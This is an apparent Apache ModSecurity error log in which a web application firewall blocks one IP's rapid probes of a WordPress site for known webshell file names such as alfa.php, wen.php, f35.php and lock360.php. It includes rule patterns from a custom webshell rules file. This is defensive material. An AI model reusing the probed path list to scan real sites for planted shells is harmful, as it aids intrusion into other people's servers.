[Wed Jan 14 06:26:25.058229 2026] [:error] [pid 58699:tid 58713] [client 4.213.64.52:5072] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aWbGkeYdPBtkMLK2Sdq19QAAAQs"]
[Wed Jan 14 06:26:25.337329 2026] [:error] [pid 58868:tid 58892] [client 4.213.64.52:5073] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aWbGkU67yj8PZAmdsblyKAAAAVY"]
[Wed Jan 14 06:26:25.617503 2026] [:error] [pid 58901:tid 58930] [client 4.213.64.52:5056] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aWbGkb3kQSrcqIWtO0o3cAAAAcA"]
[Wed Jan 14 06:26:25.891825 2026] [:error] [pid 24603:tid 24666] [client 4.213.64.52:5103] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aWbGkZPBJGFGN8VT8_SwtQAAAIE"]
[Wed Jan 14 06:26:26.184920 2026] [:error] [pid 24601:tid 24631] [client 4.213.64.52:5047] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aWbGkkCtWkZ9rlKW5n-JzQAAABU"]
[Wed Jan 14 06:26:26.469382 2026] [:error] [pid 58868:tid 58891] [client 4.213.64.52:5076] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aWbGkk67yj8PZAmdsblyKQAAAVU"]
[Wed Jan 14 06:26:26.762726 2026] [:error] [pid 24601:tid 24615] [client 4.213.64.52:35003] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aWbGkkCtWkZ9rlKW5n-JzgAAAAU"]
[Wed Jan 14 06:26:27.055148 2026] [:error] [pid 58899:tid 58925] [client 4.213.64.52:34962] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aWbGkwWViGQd5R44tHF9FAAAAZY"]
[Wed Jan 14 06:26:27.344062 2026] [:error] [pid 24602:tid 24641] [client 4.213.64.52:5010] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aWbGk0ooYwabcb9R9fxABwAAAEM"]
[Wed Jan 14 06:26:27.646998 2026] [:error] [pid 58899:tid 58926] [client 4.213.64.52:4484] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aWbGkwWViGQd5R44tHF9FQAAAZc"]
[Wed Jan 14 06:26:27.934932 2026] [:error] [pid 24601:tid 24612] [client 4.213.64.52:5070] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aWbGk0CtWkZ9rlKW5n-J0wAAAAI"]
[Wed Jan 14 06:26:28.213760 2026] [:error] [pid 24603:tid 24668] [client 4.213.64.52:4950] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aWbGlJPBJGFGN8VT8_SwuAAAAIM"]
[Wed Jan 14 06:26:28.496843 2026] [:error] [pid 24603:tid 24684] [client 4.213.64.52:5119] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aWbGlJPBJGFGN8VT8_SwuQAAAJM"]
[Wed Jan 14 06:26:28.794104 2026] [:error] [pid 59074:tid 59089] [client 4.213.64.52:5003] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aWbGlE_KrJ818pzhB3xvlgAAAk0"]
[Wed Jan 14 06:26:29.086636 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:4993] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aWbGlb3kQSrcqIWtO0o3eQAAAdc"]
[Wed Jan 14 06:26:29.376886 2026] [:error] [pid 24603:tid 24677] [client 4.213.64.52:5004] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aWbGlZPBJGFGN8VT8_SwuwAAAIw"]
[Wed Jan 14 06:26:29.653635 2026] [:error] [pid 24710:tid 24719] [client 4.213.64.52:5039] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aWbGlWXBo5bEhDEEhs1zNQAAAMc"]
[Wed Jan 14 06:26:29.953670 2026] [:error] [pid 24601:tid 24616] [client 4.213.64.52:5080] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aWbGlUCtWkZ9rlKW5n-J1QAAAAY"]
[Wed Jan 14 06:26:30.226813 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:5100] [client 4.213.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aWbGlr3kQSrcqIWtO0o3fQAAAdE"]
[Wed Jan 14 06:26:30.513848 2026] [:error] [pid 59074:tid 59100] [client 4.213.64.52:5024] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aWbGlk_KrJ818pzhB3xvmAAAAlg"]
[Wed Jan 14 06:26:30.792601 2026] [:error] [pid 58699:tid 58721] [client 4.213.64.52:5012] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aWbGluYdPBtkMLK2Sdq2KgAAARM"]
[Wed Jan 14 06:26:31.066718 2026] [:error] [pid 24710:tid 24715] [client 4.213.64.52:5083] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aWbGl2XBo5bEhDEEhs1zNwAAAMM"]
[Wed Jan 14 06:26:31.351997 2026] [:error] [pid 58699:tid 58724] [client 4.213.64.52:4994] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aWbGl-YdPBtkMLK2Sdq2MQAAARY"]
[Wed Jan 14 06:26:31.632900 2026] [:error] [pid 58901:tid 58944] [client 4.213.64.52:5096] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWbGl73kQSrcqIWtO0o3ggAAAc4"]
[Wed Jan 14 06:26:31.910144 2026] [:error] [pid 58699:tid 58718] [client 4.213.64.52:5058] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWbGl-YdPBtkMLK2Sdq2NQAAARA"]
[Wed Jan 14 06:26:32.183889 2026] [:error] [pid 58868:tid 58874] [client 4.213.64.52:5102] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWbGmE67yj8PZAmdsblyLwAAAUQ"]
[Wed Jan 14 06:26:32.463338 2026] [:error] [pid 24601:tid 24618] [client 4.213.64.52:4502] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWbGmECtWkZ9rlKW5n-J1gAAAAg"]
[Wed Jan 14 06:26:32.741641 2026] [:error] [pid 24603:tid 24667] [client 4.213.64.52:4999] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aWbGmJPBJGFGN8VT8_SwvgAAAII"]
[Wed Jan 14 06:26:33.028299 2026] [:error] [pid 58899:tid 58911] [client 4.213.64.52:5105] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aWbGmQWViGQd5R44tHF9IAAAAYg"]
[Wed Jan 14 06:26:33.319160 2026] [:error] [pid 58977:tid 58986] [client 4.213.64.52:34978] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aWbGmblT6ggZLRx9QvAKyAAAAgY"]
[Wed Jan 14 06:26:33.601814 2026] [:error] [pid 24710:tid 24734] [client 4.213.64.52:35002] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aWbGmWXBo5bEhDEEhs1zPQAAANY"]
[Wed Jan 14 06:26:33.903044 2026] [:error] [pid 58977:tid 58999] [client 4.213.64.52:5108] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aWbGmblT6ggZLRx9QvAKygAAAhM"]
[Wed Jan 14 06:26:34.176535 2026] [:error] [pid 58977:tid 58980] [client 4.213.64.52:5054] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aWbGmrlT6ggZLRx9QvAKywAAAgA"]
[Wed Jan 14 06:26:34.467977 2026] [:error] [pid 24602:tid 24653] [client 4.213.64.52:5074] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aWbGmkooYwabcb9R9fxAFQAAAE8"]
[Wed Jan 14 06:26:34.741664 2026] [:error] [pid 24603:tid 24672] [client 4.213.64.52:5013] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aWbGmpPBJGFGN8VT8_SwxgAAAIc"]
[Wed Jan 14 06:26:35.020516 2026] [:error] [pid 24603:tid 24668] [client 4.213.64.52:5078] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aWbGm5PBJGFGN8VT8_SwxwAAAIM"]
[Wed Jan 14 06:26:35.294829 2026] [:error] [pid 58901:tid 58950] [client 4.213.64.52:5104] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aWbGm73kQSrcqIWtO0o3kQAAAdQ"]
[Wed Jan 14 06:26:35.573594 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:5107] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aWbGm7lT6ggZLRx9QvAKzAAAAg4"]
[Wed Jan 14 06:26:35.850681 2026] [:error] [pid 58699:tid 58716] [client 4.213.64.52:5067] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aWbGm-YdPBtkMLK2Sdq2PwAAAQ4"]
[Wed Jan 14 06:26:36.138374 2026] [:error] [pid 24603:tid 24689] [client 4.213.64.52:5075] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aWbGnJPBJGFGN8VT8_SwywAAAJg"]
[Wed Jan 14 06:26:36.476661 2026] [:error] [pid 58977:tid 59000] [client 4.213.64.52:34994] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aWbGnLlT6ggZLRx9QvAKzQAAAhQ"]
[Wed Jan 14 06:26:36.812269 2026] [:error] [pid 59074:tid 59080] [client 4.213.64.52:35050] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aWbGnE_KrJ818pzhB3xvnQAAAkQ"]
[Wed Jan 14 06:26:37.116138 2026] [:error] [pid 24602:tid 24641] [client 4.213.64.52:4941] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "aWbGnUooYwabcb9R9fxAFgAAAEM"]
[Wed Jan 14 06:26:37.414126 2026] [:error] [pid 24602:tid 24660] [client 4.213.64.52:5065] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aWbGnUooYwabcb9R9fxAFwAAAFY"]
[Wed Jan 14 06:26:37.724224 2026] [:error] [pid 24602:tid 24642] [client 4.213.64.52:5110] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aWbGnUooYwabcb9R9fxAGQAAAEQ"]
[Wed Jan 14 06:26:38.016270 2026] [:error] [pid 24602:tid 24649] [client 4.213.64.52:5062] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aWbGnkooYwabcb9R9fxAGwAAAEs"]
[Wed Jan 14 06:26:38.304720 2026] [:error] [pid 58699:tid 58708] [client 4.213.64.52:35053] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aWbGnuYdPBtkMLK2Sdq2RAAAAQY"]
[Wed Jan 14 06:26:38.579983 2026] [:error] [pid 24602:tid 24643] [client 4.213.64.52:5022] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aWbGnkooYwabcb9R9fxAHgAAAEU"]
[Wed Jan 14 06:26:38.857948 2026] [:error] [pid 58699:tid 58704] [client 4.213.64.52:5113] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aWbGnuYdPBtkMLK2Sdq2RwAAAQI"]
[Wed Jan 14 06:26:39.133193 2026] [:error] [pid 58977:tid 58990] [client 4.213.64.52:5093] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aWbGn7lT6ggZLRx9QvAK0QAAAgo"]
[Wed Jan 14 06:26:39.411077 2026] [:error] [pid 24602:tid 24646] [client 4.213.64.52:4995] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aWbGn0ooYwabcb9R9fxAIwAAAEg"]
[Wed Jan 14 06:26:39.686199 2026] [:error] [pid 24603:tid 24683] [client 4.213.64.52:4944] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbGn5PBJGFGN8VT8_SwzgAAAJI"]
[Wed Jan 14 06:26:39.968613 2026] [:error] [pid 59074:tid 59089] [client 4.213.64.52:5002] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbGn0_KrJ818pzhB3xvqwAAAk0"]
[Wed Jan 14 06:26:40.249865 2026] [:error] [pid 24603:tid 24674] [client 4.213.64.52:5097] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbGoJPBJGFGN8VT8_Sw0AAAAIk"]
[Wed Jan 14 06:26:40.523968 2026] [:error] [pid 24602:tid 24662] [client 4.213.64.52:5037] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbGoEooYwabcb9R9fxAJAAAAFg"]
[Wed Jan 14 06:26:40.810238 2026] [:error] [pid 24601:tid 24633] [client 4.213.64.52:5001] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aWbGoECtWkZ9rlKW5n-J3QAAABc"]
